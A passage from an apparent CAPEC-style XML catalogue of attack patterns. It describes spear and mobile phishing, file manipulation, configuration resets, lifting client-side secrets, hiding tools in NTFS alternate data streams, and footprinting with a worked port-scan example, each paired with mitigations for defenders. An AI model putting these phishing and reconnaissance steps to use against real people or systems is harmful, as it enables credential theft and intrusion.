												a legitimate website, he needs to build very custom
												user related information in it. For example, he
												could create multiple variants of the website which
												would target different living area users by
												providing information such as local news, local
												weather, etc. so that the user believes this is a
												new feature from the website. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Integrate localized information in the web
												pages created to duplicate the original website.
												Those localized information could be dynamically
												generated based on unique key or IP address of the
												future victim.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Convince user to enter sensitive
											information on attacker's site.:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker sends a message (typically an e-mail)
												to the victim that has some sort of a call to action
												to get the user to click on the link included in the
												e-mail (which takes the victim to attacker's
												website) and log in. The key is to get the victim to
												believe that the message is coming from a legitimate
												entity trusted by the victim or with which the
												victim or does business and that the website pointed
												to by the URL in the e-mail is the legitimate
												website. A call to action will usually need to sound
												legitimate and urgent enough to prompt action from
												the user.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Send the user a message from a spoofed
												legitimate-looking e-mail address that asks the
												user to click on the included link.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Place phishing link in post to online
												forum.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Legitimate user clicks on link
												supplied by attacker and enters the requested
												information.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Legitimate user realizes that
												the e-mail is not legitimate, or that the
												attacker's website is not legitimate, and
												therefore, does not enter the information
												requested by the attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. Phishing websites frequently
												include links to "terms and conditions" "privacy"
												and other standard links on the legitimate site.
												Users' web browsers will generally reveal the
												phishing site in the Referrer header. Since the
												URL may not visually stand out compared to the
												legitimate URL, some programmatic consolidation of
												referrers from log files may be required to ensure
												that example.com stands out from examp1e.com, for
												example.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Use stolen credentials to log into
											legitimate site:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Once the attacker captures some sensitive
												information through phishing (login credentials,
												credit card information, etc.) the attacker can
												leverage this information. For instance, the
												attacker can use the victim's login credentials to
												log into their bank account and transfer money to an
												account of their choice.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Log in to the legitimate site using another
												user's supplied credentials.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Use a human verifiable
												shared secret between legitimate site and end user
												such as the one provided by PassMark Security (now
												part of RSA Security). This prevents the attacker
												from using stolen credentials. Note that this does
												not protect against some man-in-the-middle attacks
												where an attacker establishes a session with the
												legitimate site and convinces an end user to
												establish a session with him. The attacker then
												records and forwards information flowing between
												the end user and the trusted site. This security
												control is currently used by many online banking
												websites including Bank of America's
												website.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Use an out-of-band
												user authentication mechanism before allowing
												particular computers to "register" to use the
												legitimate site with particular login credentials.
												This also prevents the attacker from using stolen
												credentials. An example may be sending a SMS
												message to the user's cell phone (cell phone
												number previously acquired by site) with an
												"activation code" every time the user attempts to
												log into the site from a new computer. This
												solution also does not protect against the
												man-in-the-middle attack described in the previous
												security control.This mechanism is currently used
												by several online banking websites including JP
												Morgan Chase's
												website.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>None. Any user can be targeted by a Spear Phishing attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Social Engineering</Method_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>John gets an official looking e-mail from his bank stating that his or
							her account has been temporarily locked due to suspected unauthorized
							activity that happened in the area different that where he lives
							(details might be provided by the spear phishers) and that John needs to
							click on the link included in the e-mail to log in to his bank account
							in order to unlock it. The link in the e-mail looks very similar to that
							of his bank and once the link is clicked, the log in page is the exact
							replica. John supplies his login credentials after which he is notified
							that his account has now been unlocked and that everything is fine. An
							attacker has just collected John's online banking information which can
							now be used by him or her to log into John's bank account and transfer
							John's money to a bank account of the attacker's choice. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Some web development tools to put up a fake website.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text> Do not follow any links that you receive within your e-mails and
						certainly do not input any login credentials on the page that they take you
						too. Instead, call your Bank, Paypal, Ebay, etc., and inquire about the
						problem. A safe practice would also be to type the URL of your bank in the
						browser directly and only then log in. Also, never reply to any e-mails that
						ask you to provide sensitive information of any kind.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Information Leakage</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Privilege Escalation</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Data Modification</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>98<!--Phishing-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanFollow</Relationship_Nature>
					<Relationship_Target_ID>405<!--Social Information Gathering via Research-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanFollow</Relationship_Nature>
					<Relationship_Target_ID>406<!--Social Information Gathering via Dumpster Diving-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanFollow</Relationship_Nature>
					<Relationship_Target_ID>407<!--Social Information Gathering via Pretexting-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/176.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanFollow</Relationship_Nature>
					<Relationship_Target_ID>408<!--Information Gathering from Traditional Sources-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>CanFollow</Relationship_Nature>
					<Relationship_Target_ID>409<!--Information Gathering from Non-Traditional Sources-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="164" Name="Mobile Phishing (aka MobPhishing)"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker targets mobile phone users with a phishing attack for the
						purpose of soliciting account passwords or sensitive information from the
						user. Mobile Phishing is a variation on the Phishing social engineering
						technique where the attack is initiated via mobile texting rather than
						email. The user is enticed to provide information or go to a compromised web
						site via a text message. Apart from the manner in which the attack is
						initiated, the attack proceeds as a standard Phishing attack.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Attacker needs mobile phone numbers to initiate the connection. The
						attacker must guess an area of interest for the mobile user to entice them
						to follow the link provided in the text message. The attacker must have a
						replicated web site as in a normal Phishing attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Resources_Required>
				<Text>Either mobile phone or access to a web resource that allows text messages to
					be sent to mobile phones. Resources needed for regular Phishing attack.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>98<!--Phishing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="165" Name="File Manipulation" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker modifies file contents or attributes (such as extensions or
						names) of files in a manner to cause incorrect processing by an application.
						Attackers use this class of attacks to cause applications to enter unstable
						states, overwrite or expose sensitive information, and even execute
						arbitrary code with the application's privileges. This class of attacks
						differs from attacks on configuration information (even if file-based) in
						that file manipulation causes the file processing to result in non-standard
						behaviors, such as buffer overflows or use of the incorrect interpreter.
						Configuration attacks rely on the application interpreting files correctly
						in order to insert harmful configuration information. Likewise, resource
						location attacks rely on controlling an application's ability to locate
						files, whereas File Manipulation attacks do not require the application to
						look in a non-default location, although the two classes of attacks are
						often combined.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must use the affected file without verifying its
						integrity.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for most variants of this attack. In some
					cases, tools are needed to better control the response of the targeted
					application to the modified file.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="166" Name="Force the System to Reset Values"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker forces the target into a previous state in order to leverage
						potential weaknesses in the target dependent upon a prior configuration or
						state-dependent factors. Even in cases where an attacker may not be able to
						directly control the configuration of the targeted application, they may be
						able to reset the configuration to a prior state since many applications
						implement reset functions. Since these functions are usually intended as
						emergency features to return an application to a stable configuration if the
						current configuration degrades functionality, they may not be as strongly
						secured as other configuration options. The resetting of values is dangerous
						as it may enable undesired functionality, disable services, or modify access
						controls. At the very least this is a nuisance attack since the
						administrator will need to re-apply their configuration. At worst, this
						attack can open avenues for powerful attacks against the application, and,
						if it isn't obvious that the configuration has been reset, these
						vulnerabilities may be present a long time before they are notices.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted application must have a reset function that returns the
						configuration of the application to an earlier state.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The reset functionality must be inadequately protected against use.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for execution of this attack. In some cases,
					the attacker may need special client applications or a given level of access to
					the application in order to execute the reset functionality.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>171<!--Variable Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="167" Name="Lifting Sensitive Data from the Client"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker examines an available client application for the presence of
						sensitive information. This information may be stored in configuration
						files, embedded within the application itself, or stored in other ways.
						Sensitive information may include long-term keys, passwords, credit card or
						financial information, and other private material that the client uses in
						its interactions with the server. While servers are (hopefully) protected
						with professional security administrators, most users may be less skilled at
						protecting their clients. As a result, the user client may represent a weak
						link that an attacker can exploit. If an attacker can gain access to a
						client installation, they may be able to detect and lift sensitive
						information that could be used directly (such as financial information), or
						allow the attacker to subvert future communication between the client and
						the server. In some cases, it may not even be necessary to gain access to
						another user's installation - if all instances of the client software are
						embedded with the same sensitive information (for example, long term keys
						for communication with the server) then the attacker must simply find a way
						to gain their own copy of the client in order to perform this attack.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The client application installation must retain sensitive information
						locally. Moreover, it must fail to adequately protect this information
						against viewing by an attacker. Encrypting the information would thwart this
						type of attack, but only if the key used to encrypt this information was not
						itself locally accessible.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>Depending on the details of the attack, the attacker may require access to a
					targeted user's installation of the client. Alternatively, the attacker may need
					to acquire any instance of the client.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>642<!--External Control of Critical State Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>22<!--Exploiting Trust in Client (aka Make the Client Invisible)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>281<!--Analytic Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="168" Name="Windows ::DATA Alternate Data Stream"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits the functionality of Microsoft NTFS Alternate Data
						Streams (ADS) to underminie system security. ADS allows multiple "files" to
						be stored in one directory entry referenced as filename:streamname. One or
						more alternate data streams may be stored in any file or directory. Normal
						Microsoft utilities do not show the presence of an ADS stream attached to a
						file. The additional space for the ADS is not recorded in the displayed file
						size. The additional space for ADS is accounted for in the used space on the
						volume. An ADS can be any type of file. ADS are copied by standard Microsoft
						utilities between NTFS volumes. ADS can be used by an attacker or intruder
						to hide tools, scripts, and data from detection by normal system utilities.
						Many anti-virus programs do not check for or scan ADS. Windows Vista does
						have a switch (-R) on the command line DIR command that will display
						alternate streams.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must be running the Microsoft NTFS file system.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special tools or resources are required. The attacker must have command
					line or programmatic access to the target's files system with write/read
					permissions.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use FAT file systems which do not support Alternate Data
						Streams.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Use Vista dir with the -R switch or utility to find
						Alternate Data Streams and take appropriate action with those
						discovered.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Use products that are Alternate Data Stream aware for
						virus scanning and system security operations.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>212<!--Improper Cross-boundary Removal of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>69<!--Improper Handling of Windows ::DATA Alternate Data Stream--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>272<!--Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="169" Name="Footprinting" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in probing and exploration activity to identify
						constituents and properties of the target. Footprinting is a general term to
						describe a variety of information gathering techniques, often used by
						attackers in preparation for some attack. It consists of using tools to
						learn as much as possible about the composition, configuration, and security
						mechanisms of the targeted application, system or network. Information that
						might be collected during a footprinting effort could include open ports,
						applications and their versions, network topology, and similar information.
						While footprinting is not intended to be damaging (although certain
						activities, such as network scans, can sometimes cause disruptions to
						vulnerable applications inadvertently) it may often pave the way for more
						damaging attacks.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Request Footprinting</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker examines the website information and
												source code of the website and uses automated tools
												to get as much information as possible about the
												system and organization.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Open Source Footprinting: Examine the
												website about the organization and skim through
												the webpage's HTML source to look for comments.
												</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Network Enumeration: Perform various queries
												(Registrar Query, Organizational Query, Domain
												Query, Network Query, POC Query) on the many whois
												databases found on the internet to identify domain
												names and associated networks. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>DNS Interrogation: Once basic information is
												gathered the attack could begin to query DNS.
												</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Other Techniques: Use ping sweep, TCP scan,
												UDP scan, OS Identification various techniques to
												gain more information about the system and
												network. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The response contains sensitive information
												such as ports open, network block, server version
												etc.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>The response does not contain sensitive
												information about the system and network.</Text>
												</Indicator_Description>
												<Environments>env-Local</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of sensitive information
												about the system and
												network.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>There is no information
												available about the system and
												network.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>The server may detect
												a large amount of port scan request, illegal ICMP
												and TCP packets.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>None. Any system or network that can be detected can be footprinted.
						However, some configuration choices may limit the useful information that
						can be collected during a footprinting attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very Low</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Social Engineering</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In this example let us look at the website http://www.example.com to
							get much information we can about Alice. From the website, we find that
							Alice also runs foobar.org. We type in www example.com into the prompt
							of the Name Lookup window in a tool, and our result is this IP address:
							192.173.28.130 We type the domain into the Name Lookup prompt and we are
							given the same IP. We can safely say that example and foobar.org are
							hosted on the same box. But if we were to do a reverse name lookup on
							the IP, which domain will come up? www.example.com or foobar.org?
							Neither, the result is nijasvspirates.org. So nijasvspirates.org is the
							name of the box hosting 31337squirrel.org and foobar.org. So now that we
							have the IP, let's check to see if nijasvspirates is awake. We type the
							IP into the prompt in the Ping window. We'll set the interval between
							packets to 1 millisecond. We'll set the number of seconds to wait until
							a ping times out to 5. We'll set the ping size to 500 bytes and we'll
							send ten pings. Ten packets sent and ten packets received.
							nijasvspirates.org returned a message to my computer within an average
							of 0.35 seconds for every packet sent. nijasvspirates is alive. We open
							the Whois window and type nijasvspirates.org into the Query prompt, and
							whois.networksolutions.com into the Server prompt. This means we'll be
							asking Network Solutions to tell us everything they know about
							nijasvspirates.org. The result is this laundry list of info: Registrant:
							FooBar (nijasvspirates -DOM) p.o.box 11111 SLC, UT 84151 US Domain Name:
							nijasvspirates.ORG Administrative Contact, Billing Contact: Smith, John
							jsmith@anonymous.net FooBar p.o.box 11111 SLC, UT 84151 555-555-6103
							Technical Contact: Johnson, Ken kj@fierymonkey.org fierymonkey p.o.box
							11111 SLC, UT 84151 555-555-3849 Record last updated on 17-Aug-2001.
							Record expires on 11-Aug-2002. Record created on 11-Aug-2000. Database
							last updated on 12-Dec-2001 04:06:00 EST. Domain servers in listed
							order: NS1. fierymonkey.ORG 192.173.28.130 NS2. fierymonkey.ORG
							64.192.168.80 A corner stone of footprinting is Port Scanning. Let's
							port scan nijasvspirates.org and see what kind of services are running
							on that box. We type in the nijasvspirates IP into the Host prompt of
							the Port Scan window. We'll start searching from port number 1, and
							we'll stop at the default Sub7 port, 27374. Our results are: 21 TCP ftp
							22 TCP ssh SSH-1.99-OpenSSH_2.30 25 TCP smtp 53 TCP domain 80 TCP www
							110 TCP pop3 111 TCP sunrpc 113 TCP ident Just by this we know that
							Alice is running a website and email, using POP3, SUNRPC (SUN Remote
							Procedure Call), and ident. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Attacker knows how to send HTTP request, run the scan tool.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The attacker requires a variety of tools to collect information about the
					target. These include port and network scanners and tools to analyze responses
					from applications to determine version and configuration information.
					Footprinting a system adequately may also take a few days if the attacker wishes
					the footprinting attempt to go undetected.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Configuration: Keep patches up to date by installing weekly or daily if
						possible.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Configuration: Shut down unnecessary services/ports.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Policy: Change default passwords by choosing strong passwords.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Curtail unexpected input.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Encrypt and password-protect sensitive data.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Policy: Place offline any information that has the potential to identify
						and compromise your organization’s security such as access to business
						plans, formulas, and proprietary documents.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Information Leakage</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Weaknesses>
